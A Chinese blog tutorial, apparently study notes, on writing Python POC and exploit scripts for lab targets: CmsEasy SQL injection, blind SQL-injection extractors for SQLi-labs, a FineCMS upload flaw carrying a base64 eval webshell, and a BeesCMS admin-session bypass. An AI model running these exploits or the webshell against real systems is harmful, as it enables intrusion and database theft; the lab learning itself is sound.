头图:https://cdn.naraku.cn/imgs/poc-0.jpg
摘要:[未完成] 简单POC学习笔记
简介
- POC,即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和平台的承载能力和性能变化,在安全中可以理解成为漏洞验证程序
- EXP:全称Exploit,英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用)。有Exploit就肯定有漏洞
- POC与EXP的区别:POC是证明观点,一般是样本;EXP是漏洞利用,一般是程序。如果发现漏洞,给出POC可以写出EXP;
- POC框架:就是一个批量调用,管理POC的程序
POC编写流程:
靶场环境:CmsEasy_v5.5
- Tip:一开始使用PhpStudy搭建报错,后使用WAMP成功搭建
漏洞详情:CmsEasy最新版5.5_UTF-8_20140802多处SQL注入
漏洞复现
先复现一下该漏洞。参考漏洞详情,可知
[http://server.com/cmseasy/celive/live/header.php](http://server.com/cmseasy/celive/live/header.php)
存在一处漏洞,这里使用HackBarPOST一下
x> 需要强调一点,在扫描的过程中,只需要证明漏洞存在就行。并且报告中不能出现管理员账号密码,只需要证明可以执行SQL语句即可
因此需要修改Payload,输出
CmsEasy
的MD5值:xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#
POC
使用Python提交POST请求,并打印结果 ```python
-- coding:utf-8 --
import urllib import urllib2 def check(): target = “http://server.com/cmseasy/celive/live/header.php“
Payload
data = {
"xajax":"LiveMessage",
"xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
}
req = urllib2.Request(target, data=urllib.urlencode(data)) response = urllib2.urlopen(req) text = response.read() print text
if name == ‘main‘: check()
- 判断一下打印结果是否包含`CmsEasy`的MD5值,这里需要使用`hashlib`库
```python
# print text
if hashlib.md5('CmsEasy').hexdigest() in text:
print "%s is vulnerable" % target
else:
print "%s is not vulnerable" % target
- 增加
input
,实现批量调用 ```python def check(domain): target = “%s/cmseasy/celive/live/header.php” % domainPayload
…
if name == ‘main‘: domain = raw_input(“请输入域名: “) check(domain)
- 增加命令行调用,需要使用`sys`库
```python
if __name__ == '__main__':
arg = sys.argv
domain = ''
if len(arg) == 2:
domain = arg[1]
check(domain)
else:
print u"使用说明: python %s IP/域名" % (arg[0])
完整代码
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-1.py
"""
import urllib
import urllib2
import hashlib
import sys
def check(domain):
target = "%s/cmseasy/celive/live/header.php" % domain
# target = "http://server.com/cmseasy/celive/live/header.php"
# Payload
data = {
"xajax":"LiveMessage",
"xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
}
req = urllib2.Request(target, data=urllib.urlencode(data))
response = urllib2.urlopen(req)
text = response.read()
# print text # 输出一下
if hashlib.md5('CmsEasy').hexdigest() in text:
print "%s is vulnerable" % target
else:
print "%s is not vulnerable" % target
if __name__ == '__main__':
arg = sys.argv
domain = ''
if len(arg) == 2:
domain = arg[1]
check(domain)
else:
print u"使用说明: python %s IP/域名" % (arg[0])
布尔盲注
靶场环境:SQLi-labs的第5关
POC
只需要验证漏洞存在,这里使用
1
和-1
即可根据是否返回You are in
判断是否存在漏洞def POC(url):
payload = ['1', '-1']
r1 = requests.get(url + payload[0])
r2 = requests.get(url + payload[1])
if ("You are in" in r1.text) and ("You are in" not in r2.text):
print "True"
else:
print "False"
if __name__ == '__main__':
url = 'http://test.com/sql/Less-5/?id='
POC(url)
EXP
这里先猜解一下当前库名的长度,当
and
的两边均为True
时返回You are in
。此处可判断库名长度为8
?id=1' and (length(database())=1)--+
?id=1' and (length(database())=2)--+
......
?id=1' and (length(database())=8)--+ # 返回You are in
使用Python实现:
url = 'http://test.com/sql/Less-5/?id=1'
db_length = 0
for i in range(1, 20):
payload = "' and (length(database())=%d)--+" % i
# print(url+payload)
r = requests.get(url + payload)
if "You are in" in r.text:
db_length = i
print "Current_db_length: %d" % db_length
接下来猜库名。使用
left(database(),1)
函数,从左往右返回库名的i
位,然后跟后面的字符进行比较- 库名为:
security
left(database(),1)
,返回s
left(database(),2)
,返回se
left(database(),8)
,返回security
...
test.com/sql/Less-5/?id=1' and left(database(),1)='s' --+
...
test.com/sql/Less-5/?id=1' and left(database(),2)='se' --+
...
test.com/sql/Less-5/?id=1' and left(database(),3)='sec' --+
...
- 库名为:
代码如下:
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'
for i in range(1, db_length+1):
for c in char:
payload = "' and left(database(),%d)='%s' --+" % (i, db_name+c) #
r = requests.get(url + payload)
if "You are in" in r.text:
db_name += c # 将当前字符加到库名,并跳出循环
print "Current_db_name: %s" % db_name
break
完整代码
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-2.py
"""
import requests
def POC(url):
payload = ['1', '-1']
r1 = requests.get(url + payload[0])
r2 = requests.get(url + payload[1])
if ("You are in" in r1.text) and ("You are in" not in r2.text):
print "True"
else:
print "False"
def EXP(url):
db_length = 0
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'
for i in range(1, 20):
payload = "' and (length(database())=%d)--+" % i
r = requests.get(url + payload)
if "You are in" in r.text:
db_length = i
print "Current_db_length: %d" % db_length
for i in range(1, db_length+1):
for c in char:
payload = "' and left(database(),%d)='%s' --+" % (i, db_name + c)
r = requests.get(url + payload)
if "You are in" in r.text:
db_name += c # 将当前字符加到库名,并跳出循环
print "Current_db_name: %s" % db_name
break
if __name__ == '__main__':
url = 'http://test.com/sql/Less-5/?id='
POC(url)
EXP(url+'1')
时间盲注
靶场环境:SQLi-labs的第9关
POC
根据响应时间来确定是否存在漏洞,Payload:
?id=1'and sleep(5) --+
POC如下,通过调用
time()
函数来确定响应时间# -*- coding:utf-8 -*-
import requests
import time
def POC(url):
payload = "1' and sleep(5) --+"
t1 = time.time()
requests.get(url + payload)
t2 = time.time()
if t2-t1 >=5 :
print "True"
else:
print "False"
if __name__ == '__main__':
url = "http://test.com/sql/Less-5/?id=1"
POC(url)
EXP
判断库名长度。这里延时5秒太长了,故修改为2秒 ```python db_length = 0
for i in range(1,20): payload = “‘ and if(length(database())=%d, sleep(2), 1) —+” % i t1 = time.time() requests.get(url + payload) t2 = time.time() if t2-t1 >= 2: db_length = i print “Current_db_length: %d” % db_length break
- 猜解库名。这里的方法和前面布尔盲注差不多,Payload使用`if()`和`left()`函数,当满足条件时则延时2秒
```python
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'
for i in range(1, db_length+1):
for c in char:
payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)
t1 = time.time()
r = requests.get(url + payload)
t2 = time.time()
if t2-t1 >= 2:
db_name += c # 将当前字符加到库名,并跳出循环
print "Current_db_name: %s" % db_name
break
完整代码
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-sql-3.py
"""
import requests
import time
def POC(url):
payload = "1' and sleep(5) --+"
t1 = time.time()
requests.get(url + payload)
t2 = time.time()
if t2-t1 >=5 :
print "True"
else:
print "False"
def EXP(url):
db_length = 0
db_name = ''
char = 'abcdefghijklnmopqrstuvwxyz_-'
for i in range(1,20):
payload = "' and if(length(database())=%d, sleep(2), 1) --+" % i
t1 = time.time()
requests.get(url + payload)
t2 = time.time()
if t2-t1 >= 2:
db_length = i
print "Current_db_length: %d" % db_length
break
for i in range(1, db_length+1):
for c in char:
payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)
t1 = time.time()
r = requests.get(url + payload)
t2 = time.time()
if t2-t1 >= 2:
db_name += c # 将当前字符加到库名,并跳出循环
print "Current_db_name: %s" % db_name
break
if __name__ == '__main__':
url = "http://test.com/sql/Less-5/?id=1"
POC(url)
EXP(url)
文件上传型
前台Getshell
- 靶场环境:FineCMS v5
漏洞详情:关于finecms v5 会员头像 任意文件上传漏洞分析
漏洞复现
漏洞源码:Github - dayrui/finecms。最新的源码
v5.1
已修复此漏洞,通过翻查Commit
找到了FineCMS v5.0.5版的源码,成功复现- Tip:安装时若出现
PHP未开启Mcrypt扩展
,原因是Mcrypt
库已在PHP7.1
中弃用,并在PHP7.2
中删除(参考PHP手册 - Mcrypt),使用低版本PHP即可。
- Tip:安装时若出现
- 进入网站首页,使用默认账号密码
admin/admin
登陆,自动跳转到会员中心,点击上传头像,开启Burp抓包,任意选择一张图片并点击保存 - 根据漏洞详情,将POST包中的
image/jpeg
修改为image/php
,点击提交。响应中含有status
关键字表示漏洞存在
这里不能直接上传一句话木马,但是可以通过POST数据进行写入,需要进行Base64编码。修改数据包如下:
tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAKIGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Cj8+
POC
根据前面复现步骤,验证过程大概是:
注册-登陆-上传一个php文件-验证是否上传成功
完整POC。这里参考了别人的POC,需要注意的是POC仅作验证,因此不能写入木马,这里只写一个
phpinfo()
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-upload-1.py
"""
import random
import requests
def POC(url):
s = requests.session()
username = random.randint(0, 999999)
# 注册
register_url = url + "/index.php?s=member&c=register&m=index"
register_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[password2]": "123456",
"data[email]": "admin@admin.com"}
register_response = s.post(register_url, data=register_payload)
# 登陆
login_url = url + "/index.php?s=member&c=login&m=index"
login_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[auto]": "1"}
login_response = s.post(login_url, data=login_payload)
# 上传
upload_url = url + "/index.php?s=member&c=account&m=upload"
upload_payload = {"tx": "data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="}
upload_response = s.post(upload_url, data=upload_payload).content
if "status" in upload_response:
return True
return False
if __name__ == '__main__':
url = "http://server.com/"
print POC(url)
后台Getshell
靶场环境:BeesCMS v4
漏洞详情:BeesCMS Getshell
漏洞复现
搭建完成后,根据漏洞详情,访问
index.php
,POST一下数据_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
访问
admin/upload.php
,上传文件。并将Content-Type
修改为image/png
。这里上传一个phpinfo
POC
# -*- coding:utf-8 -*-
"""
@Author: Naraku
@File: poc-upload-2.py
"""
import requests
def POC(url):
login_payload = {
'_SESSION[login_in]': '1',
'_SESSION[admin]': '1',
'_SESSION[login_time]': '999999999999'
}
r = requests.post(url=url, data=login_payload)
cookie = r.cookies["PHPSESSID"]
attack_url = url.replace("index.php", "admin/upload.php")
payload = {
'up': (
'shell.php',
"<?php phpinfo(); ?> ",
'image/png',
),
}
attack_cookie = {'PHPSESSID': cookie}
upload_response = requests.post(attack_url, cookies=attack_cookie, files=payload)
if ".php" in upload_response.text:
return "True"
return "False"
if __name__ == '__main__':
url = "http://server.com/beescms/index.php"
print POC(url)
其它
- 靶场源码及POC代码文件,请前往博客共享网盘下载
- 参考:i春秋 - Python大法之从HELL0 MOMO到编写POC (九) - (十五)